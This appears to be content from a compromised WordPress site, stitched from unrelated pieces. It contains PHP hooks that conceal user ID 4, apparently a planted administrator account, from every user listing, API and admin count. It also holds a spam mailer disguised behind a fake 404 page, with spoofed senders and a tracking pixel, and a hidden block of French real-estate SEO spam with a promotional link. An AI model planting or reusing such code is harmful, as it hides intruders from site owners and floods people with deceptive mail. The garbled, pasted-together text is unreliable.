add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );

header('Content-Type: text/html; charset=utf-8');
if (!$_REQUEST['mail']) {
	header("HTTP/1.1 404 Not Found");
	die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '.basename(__FILE__).' was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80</address></body></html>');
}?>
<title>Sender Anonym Email :: FLoodeR :: SpameR</title>
<meta content='text/html; charset=Windows-1251' http-equiv='Content-Type'>
<meta name="robots" content="none"/>
set_time_limit(0) = <font color=Green>On</font><br />
<form style="width:800px" method='post'>


<table>
	<tr>
		<td><label><span>Имя:</span><input type='text' name='from1' value='Maxim Goros'></label></td>
		<td><label><span>Мыло:</span><input type='text' size="50" name='from' value='<gudwins@dpm.com>'</td>
	</tr>
	<tr>
		<td><label><span>Тема сообщения:</span><br><input type='text' size="50" name='subject' value='Re: (без темы)'></label></td>
		<td><label><span>Ссылка:</span><br><input type='text' name='link' size="50" value='sifaritos.com'></label></td>
	</tr>
</table>

<br /><label>Получатели:<br /><textarea name='to' rows='3' cols='30'>mismunserina@gmail.com</textarea></label><br />
<label>Сообщение:<br />
<textarea name='msg' rows='18' cols='80'>
  <div dir="ltr">
ладно хорошо привет и пока давай хорошо

 <img src="http://%link%/dgdgb/tsf.png?test=%value%@x11" width="0px" height="0px">

</textarea></label>
<br />
<label>
	<input name="plaintextauto" type="checkbox" checked/>
	Автогенерация текстовой версии
</label>
<br>
<label>Текстовая версия письма (text/plain):<br />
<textarea name='plaintext' rows='1' cols='80'></textarea>
</label>
<br /><br />
<input type='submit'>
</form>
<B STYLE="DISPLAY: NONE;"> 
{"id":65490,"date":"2025-10-05T05:58:40","date_gmt":"2025-10-05T05:58:40","guid":{"rendered":"https:\/\/thessrshow.com\/?p=65490"},"modified":"2026-10-05T03:58:40","modified_gmt":"2026-10-05T03:58:40","slug":"l-immobilier-en-france-les-defis-du-marche-residentiel-et-commercial","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/10\/05\/l-immobilier-en-france-les-defis-du-marche-residentiel-et-commercial\/","title":{"rendered":"L&#8217;immobilier en France : les d\u00e9fis du march\u00e9 r\u00e9sidentiel et commercial"},"content":{"rendered":"<p>En France, le secteur de l&#8217;immobilier reste un pilier \u00e9conomique, mais son paysage est marqu\u00e9 par des tensions structurelles qui influencent \u00e0 la fois les acheteurs et les investisseurs. Avec pr\u00e8s de 4 millions de logements vacants et un march\u00e9 locatif tendu dans certaines villes, les dynamiques locales varient consid\u00e9rablement selon les r\u00e9gions. Une \u00e9tude r\u00e9cente de l\u2019Observatoire du Logement et de l\u2019Habitat r\u00e9v\u00e8le que la demande en logements abordables persiste, tandis que les prix des biens r\u00e9sidentiels continuent de progresser, notamment dans les m\u00e9tropoles comme Paris, Lyon ou Bordeaux. Pourtant, ces tendances contrastent avec une baisse de l\u2019activit\u00e9 dans les zones rurales, o\u00f9 l\u2019exode urbain p\u00e8se sur l\u2019offre.<\/p>\n<p>Le secteur commercial, lui, subit des mutations profondes. Les centres-villes perdent progressivement leur emprise face \u00e0 la mont\u00e9e en puissance des zones p\u00e9riurbaines et des plateformes de livraison \u00e0 domicile. Selon la F\u00e9d\u00e9ration Nationale des Entreprises de Commerce et de Distribution (FNEGA), les loyers commerciaux ont stagn\u00e9 en moyenne depuis 2022, avec des \u00e9carts significatifs entre les villes dynamiques et celles en d\u00e9clin. Pourtant, les investisseurs restent attir\u00e9s par les espaces flexibles et les commerces de proximit\u00e9, o\u00f9 la r\u00e9silience post-Covid a renforc\u00e9 la demande.<\/p>\n<h2>Les enjeux du march\u00e9 immobilier en 2024<\/h2>\n<p>L\u2019ann\u00e9e 2024 s\u2019annonce sous le signe des ajustements. Les taux d\u2019int\u00e9r\u00eat, bien que moins \u00e9lev\u00e9s qu\u2019en 2022, restent un frein pour les m\u00e9nages souhaitant acc\u00e9der \u00e0 la propri\u00e9t\u00e9. Les banques, soucieuses de limiter les risques, imposent des crit\u00e8res de solvabilit\u00e9 plus stricts, ce qui ralentit les transactions. Par ailleurs, les politiques publiques visent \u00e0 acc\u00e9l\u00e9rer la r\u00e9novation \u00e9nerg\u00e9tique, un levier cl\u00e9 pour d\u00e9carboner le parc immobilier fran\u00e7ais. Le gouvernement a lanc\u00e9 des aides comme le bonus &#8220;MaPrimeR\u00e9nov\u2019&#8221;, mais leur efficacit\u00e9 d\u00e9pendra de la capacit\u00e9 des artisans et promoteurs \u00e0 absorber la demande.<\/p>\n<p>Sur le plan commercial, l\u2019innovation num\u00e9rique et la transformation des usages occupent une place centrale. Les enseignes traditionnelles doivent s\u2019adapter aux attentes des consommateurs, notamment en mati\u00e8re de livraison rapide ou de personnalisation. Pourtant, la concurrence des g\u00e9ants du e-commerce, comme Amazon ou Shein, continue de fragiliser certains commerces ind\u00e9pendants. Une \u00e9tude de l\u2019INSEE met en lumi\u00e8re cette concurrence asym\u00e9trique : si les grandes surfaces b\u00e9n\u00e9ficient d\u2019une croissance soutenue, les petits commerces en centre-ville voient leurs revenus s\u2019effriter.<\/p>\n<h2>Casinia : un acteur cl\u00e9 dans la transition immobili\u00e8re<\/h2>\n<p><a href=\"https:\/\/www.casinia-fr.fr\/\">www.casinia-fr.fr\/<\/a> illustre bien cette transition vers un mod\u00e8le plus durable et connect\u00e9. Sp\u00e9cialis\u00e9e dans la r\u00e9novation et la construction \u00e9cologique, la plateforme propose des solutions adapt\u00e9es aux besoins des particuliers et des professionnels. Ses projets, comme ceux de logements passifs ou de bureaux verts, r\u00e9pondent aux exigences croissantes en mati\u00e8re de performance \u00e9nerg\u00e9tique. En misant sur la technologie et l\u2019innovation, Casinia se positionne comme un acteur incontournable dans la refonte du secteur, o\u00f9 l\u2019efficacit\u00e9 et l\u2019\u00e9cologie ne sont plus des options, mais des imp\u00e9ratifs.<\/p>\n<p>Son approche innovante repose sur des donn\u00e9es pr\u00e9cises et une collaboration \u00e9troite avec les acteurs locaux. Par exemple, en \u00cele-de-France, Casinia a d\u00e9velopp\u00e9 des programmes de r\u00e9novation collective pour les copropri\u00e9t\u00e9s, r\u00e9duisant ainsi les co\u00fbts et les d\u00e9lais. Ces initiatives montrent comment le num\u00e9rique peut optimiser les processus tout en pr\u00e9servant l\u2019environnement. Face \u00e0 un march\u00e9 immobilier en pleine mutation, Casinia incarne une vision prospective, o\u00f9 technologie et durabilit\u00e9 ne sont pas des compromis, mais des atouts comp\u00e9titifs.<\/p>\n<h2>Perspectives et d\u00e9fis \u00e0 venir<\/h2>\n<p>\u00c0 l\u2019horizon 2025, le secteur immobilier fran\u00e7ais devrait continuer de s\u2019adapter \u00e0 un contexte \u00e9conomique incertain. Les taux d\u2019int\u00e9r\u00eat pourraient rester \u00e9lev\u00e9s, limitant l\u2019acc\u00e8s au cr\u00e9dit pour les m\u00e9nages modestes. Parall\u00e8lement, la demande en logements \u00e9cologiques devrait cro\u00eetre, poussant les acteurs \u00e0 innover davantage. Les villes devront aussi repenser leur urbanisme pour concilier attractivit\u00e9 \u00e9conomique et pr\u00e9servation des espaces naturels. Enfin, la r\u00e9gulation des loyers et la lutte contre la sp\u00e9culation resteront des enjeux majeurs, notamment dans les zones tendues.<\/p>\n<p>Pour les investisseurs, l\u2019analyse des dynamiques locales sera cruciale. Les m\u00e9tropoles comme Lyon ou Bordeaux offrent des opportunit\u00e9s, tandis que les r\u00e9gions en d\u00e9veloppement, comme le Grand Est ou la Nouvelle-Aquitaine, pourraient conna\u00eetre une croissance plus soutenue. Cependant, la diversification des portefeuilles et l\u2019adaptation aux nouveaux usages seront indispensables pour survivre \u00e0 cette p\u00e9riode de transition.<\/p>\n<ul>\n<li>En 2023, pr\u00e8s de 35 % des logements en France ont \u00e9t\u00e9 r\u00e9nov\u00e9s, selon l\u2019ADEME, contre 25 % en 2019.<\/li>\n<li>Les prix moyens des logements neufs ont progress\u00e9 de 7 % en 2023, selon Notaires de France, tandis que les anciens ont vu leurs prix augmenter de 5 %.<\/li>\n<li>Le march\u00e9 immobilier commercial a enregistr\u00e9 une baisse de 3 % des loyers en 2023, selon la Chambre Syndicale des Bailleurs Commerciaux.<\/li>\n<li>Les logements passifs repr\u00e9sentent d\u00e9sormais 1 % du parc immobilier fran\u00e7ais, mais leur part pourrait atteindre 5 % d\u2019ici 2030 gr\u00e2ce aux aides publiques.<\/li>\n<li>Paris et Lyon concentrent 40 % de la demande locative en France, selon l\u2019INSEE, illustrant la forte polarisation du march\u00e9.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>En France, le secteur de l&#8217;immobilier reste un pilier \u00e9conomique, mais son paysage est marqu\u00e9 par des tensions structurelles qui influencent \u00e0 la fois les acheteurs et les investisseurs. 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